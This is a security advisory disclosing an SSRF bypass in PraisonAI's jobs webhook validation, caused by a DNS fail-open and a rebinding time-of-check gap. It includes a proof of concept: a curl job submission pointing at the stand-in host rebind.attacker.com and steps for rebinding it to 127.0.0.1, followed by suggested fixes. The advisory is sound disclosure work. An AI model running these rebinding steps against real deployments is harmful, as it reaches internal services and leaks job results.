CVE-2026-55537: PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114

Summary

praisonai/jobs/models.py::JobSubmitRequest.validatewebhookurl() validates webhook URLs by resolving the hostname and checking whether the IP is private. When DNS resolution fails (socket.gaierror), the validator silently passes the URL via except socket.gaierror: pass. Additionally, even when DNS succeeds at validation time, the webhook is fired much later by JobExecutor.sendwebhook(), which calls httpx.AsyncClient().post(job.webhookurl) — performing a fresh, independent DNS lookup at execution time. Together, these flaws create a TOCTOU SSRF window.

An attacker can: 1. Submit a job with webhookurl pointing to a hostname that currently does not resolve (NXDOMAIN) → validation passes (gaierror → pass) 2. Update DNS to point that hostname to 127.0.0.1 or another private IP 3. When the job completes, sendwebhook() resolves the hostname fresh → POST sent to the internal IP

Details

Flaw 1 — Fail-open on DNS error (jobs/models.py lines 58-66):

python @fieldvalidator("webhookurl") @classmethod def validatewebhookurl(cls, v): ... try: ip = socket.gethostbyname(hostname) ipobj = ipaddress.ipaddress(ip) if ipobj.isprivate or ipobj.isloopback or ipobj.islinklocal: raise ValueError("Webhook URL resolves to private network address") except socket.gaierror: pass # <-- FAIL-OPEN: DNS failure allows the URL without restriction return v

When socket.gethostbyname(hostname) raises socket.gaierror (NXDOMAIN, timeout, network error during validation), execution flows to pass and the URL is accepted.

Flaw 2 — Fresh DNS at execution time (jobs/executor.py lines 376-406):

python async def sendwebhook(self, job: Job): async with httpx.AsyncClient(timeout=30.0) as client: response = await client.post( job.webhookurl, # <-- fresh DNS resolution here, not cached from validation json=payload, ... )

httpx.AsyncClient creates a new connection per call. DNS is resolved at execution time, completely independent of the validation-time resolution. The gap between submission and execution can be minutes to hours (depending on job queue depth and timeout settings).

Combined TOCTOU window:

T=0 Attacker submits: webhookurl = "http://rebind.attacker.com/cb" Validation: socket.gethostbyname("rebind.attacker.com") → gaierror (NXDOMAIN) Result: except socket.gaierror: pass → ACCEPTED

T=5 Attacker updates DNS: rebind.attacker.com A → 127.0.0.1 (TTL=60)

T=60 Job completes. sendwebhook() fires: httpx.post("http://rebind.attacker.com/cb") DNS: rebind.attacker.com → 127.0.0.1 POST reaches 127.0.0.1 → SSRF

Relation to CVE-2026-40114 / GHSA-8frj-8q3m-xhgm: That CVE covered "no URL validation at all" on the webhookurl parameter, patched in v4.5.126 by adding validatewebhookurl() to jobs/models.py. This finding targets the validation code itself — the except socket.gaierror: pass fail-open introduced in that patch. CVE-2026-40114: no validation. This bypass: validation present but fail-open on DNS error.

PoC

Requirements: A domain you control with configurable DNS TTL, access to the jobs API

Step 1 — Confirm fail-open behaviour (local code verification):

python from praisonai.jobs.models import JobSubmitRequest from unittest.mock import patch import socket

Simulate: hostname temporarily does not resolve with patch("socket.gethostbyname", sideeffect=socket.gaierror("NXDOMAIN")): req = JobSubmitRequest( prompt="hello", webhookurl="http://rebind.attacker.com/callback" ) # No exception raised — URL accepted despite NXDOMAIN print("Webhook accepted:", req.webhookurl)

Expected: Webhook accepted: http://rebind.attacker.com/callback

Step 2 — Confirm fresh DNS at execution time:

python From jobs/executor.py sendwebhook(): httpx.AsyncClient creates a new TCP connection (no DNS cache sharing with validator) Standard httpx behaviour: each .post() resolves DNS independently

import httpx, asyncio

async def demo(): # httpx resolves DNS here, not using any cached result from validation async with httpx.AsyncClient() as client: # This call resolves "rebind.attacker.com" fresh at runtime # If DNS changed since validation, it hits the new IP try: r = await client.post("http://rebind.attacker.com/callback", json={}) except Exception as e: print(f"Connection: {e}")

asyncio.run(demo())

Step 3 — Full attack scenario:

bash 1. Set up domain with short TTL, currently returning NXDOMAIN rebind.attacker.com → (no record, TTL=60)

2. Submit job via API curl -X POST http://praisonai-server:8000/jobs \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "prompt": "Calculate 2+2", "webhookurl": "http://rebind.attacker.com/callback" }' Response: {"jobid": "jobabc123", "status": "queued", ...}

3. After 5 seconds (before job finishes), add DNS record: rebind.attacker.com A 127.0.0.1 TTL=60

4. Wait for job to complete (seconds to minutes). sendwebhook() fires and resolves rebind.attacker.com → 127.0.0.1 POST request hits 127.0.0.1 (internal service)

If 127.0.0.1:80 is running a service, it receives: POST /callback HTTP/1.1 Content-Type: application/json {"jobid": "jobabc123", "status": "succeeded", "result": "4", ...}

Immediate variant (no DNS timing required):

If DNS resolution fails transiently (rate limit, network blip, temporary outage) during validation, the webhook is accepted unconditionally even for a URL that would normally resolve to a private IP. No attacker control over DNS timing is required — the attacker simply retries submission during moments when their DNS server is unreachable (e.g., their DNS server is down, causing gaierror).

Impact

What kind of vulnerability: Server-Side Request Forgery via TOCTOU DNS rebinding and validation fail-open.

Who is impacted: Any deployment exposing the PraisonAI Jobs API (POST /jobs) to external or lower-trusted callers. This includes:

- Multi-tenant deployments where workspace members submit jobs - API integrations (n8n, Zapier-style workflows) that provide webhookurl fields

Post-exploit capabilities: - HTTP POST to any internal service with JSON payload (job result data) - If an internal service interprets the POST body as commands (Jenkins webhook, Consul KV, etc.), this achieves code execution on internal infrastructure - Exfiltration of job results (which may include agent reasoning, data retrieved during the task, discovered credentials) to an attacker-controlled endpoint

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Remediation Suggestion (for maintainers)

Fix 1 — Change gaierror handler to fail-closed (jobs/models.py line 63):

python VULNERABLE except socket.gaierror: pass

FIXED except socket.gaierror: raise ValueError( "Webhook URL hostname could not be resolved. " "Ensure the hostname is valid and publicly reachable." )

Fix 2 — Re-validate at execution time (jobs/executor.py before sendwebhook):

python async def sendwebhook(self, job: Job): if not job.webhookurl: return # Re-validate to prevent DNS rebinding try: from urllib.parse import urlparse import socket, ipaddress hostname = urlparse(job.webhookurl).hostname ip = socket.gethostbyname(hostname) if ipaddress.ipaddress(ip).isprivate: logger.warning(f"Webhook SSRF blocked at execution time: {job.webhookurl}") return except Exception as e: logger.warning(f"Webhook validation failed at execution: {e}") return # ... proceed with httpx.post